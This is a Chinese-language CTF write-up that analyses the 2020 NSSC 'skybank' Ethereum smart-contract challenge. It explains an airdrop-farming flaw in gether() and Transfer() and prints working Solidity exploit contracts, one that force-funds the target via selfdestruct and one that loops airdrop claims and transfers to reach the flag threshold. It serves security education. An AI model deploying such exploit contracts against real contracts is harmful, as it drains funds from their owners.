前言
近年來,各個大型CTF(Capture The Flag,中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式)比賽中都有了區塊鏈攻防的身影,而且出現的題目絕大多數都是區塊鏈智能合約攻防。此系列文章我們主要以智能合約攻防為中心,來剖析智能合約攻防的要點,前兩篇我們分享了合約反編譯,反彙編的基礎內容。後續的文章中,我們會繼續分享CTF比賽中智能合約常見題型(重入,整數溢出,空投,隨機數可控等)及解題思路,相信會給讀者帶來不一樣的收穫。
上篇文章中我們分享了CTF比賽中常考的整數溢出漏洞題型,其中用到了變量覆蓋等多種攻擊技巧,需要讀者仔細推敲。本篇文章我們繼續分享CTF比賽中的空投題型,也就是薅羊毛。在系列文章整數溢出題型中,也用到了空投,但只是調用一次空投達到觸發其他漏洞的判斷條件,並沒有進行批量獲取空投。
本篇我們以2020年NSSC CTF上skybank題目為例,分享智能合約薅羊毛的題型,該題型也是多次出現在CTF的賽場。相對於之前的系列文章內容,本篇薅羊毛題型更容易理解。
題目地址:https://ropsten.etherscan.io/address/0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273#code
題目分析
題目提示
原始合約的opcode需進行反編譯;空投及最終判斷函數分別為gether()和ObtainFlag();觸發ObtainFlag()函數事件event則攻擊成功;需給合約提供資金。合約源碼
查看合約題目,合約存在0.62ether,沒有給出合約源碼,如下圖:
由於拿到題目後只有合約的opcode,所以需要進行逆向,這裡我們推薦Online Solidity Decompiler在線網站(https://ethervm.io/decompile),具體逆向時的源碼還原我們不再贅述,需要學習的同學可移步系列文章反編譯篇,反彙編篇。
以下為逆向後的合約代碼:
pragma solidity ^0.4.24;contract skybank{ mapping(address => uint) public balances; event sendflag(string base64email,string md5namectf); bytes20 addr = bytes20(msg.sender); function ObtainFlag(string base64email,string md5namectf){ require(balances[msg.sender] >= 1000000000); emit sendflag(base64email,md5namectf); } function gether() public { require(balances[msg.sender] == 0); balances[msg.sender] += 10000000; } function Transfer(address to, uint bur) public { require(bur == balances[msg.sender]); balances[to] += bur; balances[msg.sender] -= bur; }}
合約分析
先來看題目最終的判斷函數ObtainFlag():
function ObtainFlag(string base64email,string md5namectf){ require(balances[msg.sender] >= 1000000000); emit sendflag(base64email,md5namectf);}
從該函數可以看出,obtainFlag()函數傳入兩個參數(base64email,md5namectf),函數第一行代碼require(balances[msg.sender] >= 1000000000);會判斷調用者地址餘額是否大於等於1000000000 wei,如果滿足該條件,則執行emit sendflag(base64email,md5namectf);代碼,從題目可以得出,只要參賽者觸發sendflag事件並將參數輸出表示獲取flag成功。
由於參賽者初始調用題目合約skybank時,調用地址在所屬合約的資金為0,所以需要通過合約邏輯獲取資金,繼續來看獲取空投函數gether():
function gether() public { require(balances[msg.sender] == 0); balances[msg.sender] += 10000000;}
gether()函數中,第一句代碼require(balances[msg.sender] == 0);判斷當前調用者的地址是否為0,如果滿足條件,則給該調用者加10000000 wei的資金,我們最終觸發sendflag事件的ObtainFlag()函數中,需要1000000000 wei,所以只要調用gether超過100次就可以觸發sendflag事件。
繼續分析合約的轉帳函數Transfer():
function Transfer(address to, uint bur) public { require(bur == balances[msg.sender]); balances[to] += bur; balances[msg.sender] -= bur;}
Transfer()函數中,首先第一行代碼require(bur == balances[msg.sender]);判斷傳入的參數bur和目前調用者地址的餘額是否相等,如果條件滿足,將該餘額轉至傳入的地址to中,之後將調用者地址的餘額減掉。這裡非常重要的一點是:轉帳之後的調用者地址餘額再次變為0,也就是說我們可以重複該函數進行轉帳。
解題思路
通過以上skybank題目合約分析,可以總結出兩種解題思路:
第一種:
通過A地址調用gether()函數獲取空投調用Transfer()函數將A地址餘額轉至B地址重新使用A地址調用gether()函數獲取空投,並將餘額轉至B地址(不斷循環)使用B地址調用ObtainFlag()並觸發事件第二種:
使用多個地址調用gether()獲取空投將獲取空投匯聚至固定地址通過該固定地址調用ObtainFlag()並觸發事件攻擊演示
我們進行第一種解題思路的攻擊演示,使用Remix+MetaMask對攻擊合約進行部署調用
1. 自毀給題目合約轉幣
由於題目合約的初始狀態沒有ether,故我們通過自毀函數,強行將ether轉入題目合約地址,雖然當前題目合約有一定資金。為了攻擊完整性,也演示一次自毀。
構造自毀合約:
pragma solidity ^0.4.24;contract burn { function kill() public payable { selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273)); }}
部署burn合約,並利用kill()函數帶入0.02Ether進行自毀,將Ether發送到題目合約地址。
2. 使用A地址部署最終調用者合約attacker2(合約地址D)
調用代碼
pragma solidity ^0.4.24;interface skybankInterface { function ObtainFlag(string base64email, string md5namectf);}contract attacker2 { skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273); function exploit() { target.ObtainFlag("zxc", "000"); } }
部署成功
3.使用B地址部署獲取空投的合約attacker(合約地址E)
調用代碼:Transfer傳入的地址參數為D地址
pragma solidity ^0.4.24;interface skybankInterface { function gether() external; function Transfer(address to, uint256 env) external;}contract attacker { skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273); function exploit(uint256 len) public payable { for(uint256 i=0; i<len; i++){ target.gether(); target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067,10000000); } }}
部署成功
調用exploit()函數並傳入參數101,獲取101次空投
獲取空投成功
4.使用A地址調用D合約的exploit()函數
通過獲取到的ether調用exploit()函數觸發題目合約的sendflag事件
成功觸發事件
至此,攻擊完成
總結
本篇文章中,我們通過2020NSSC比賽中的skybank智能合約題目,詳細分析了合約存在的薅羊毛漏洞問題,提供了解題思路並進行了攻擊演示,相對於系列文章前幾篇,本篇比較簡單易懂,有興趣的同學可以嘗試復現。下一篇我們會繼續分享CTF智能合約經典題目,請大家持續關注。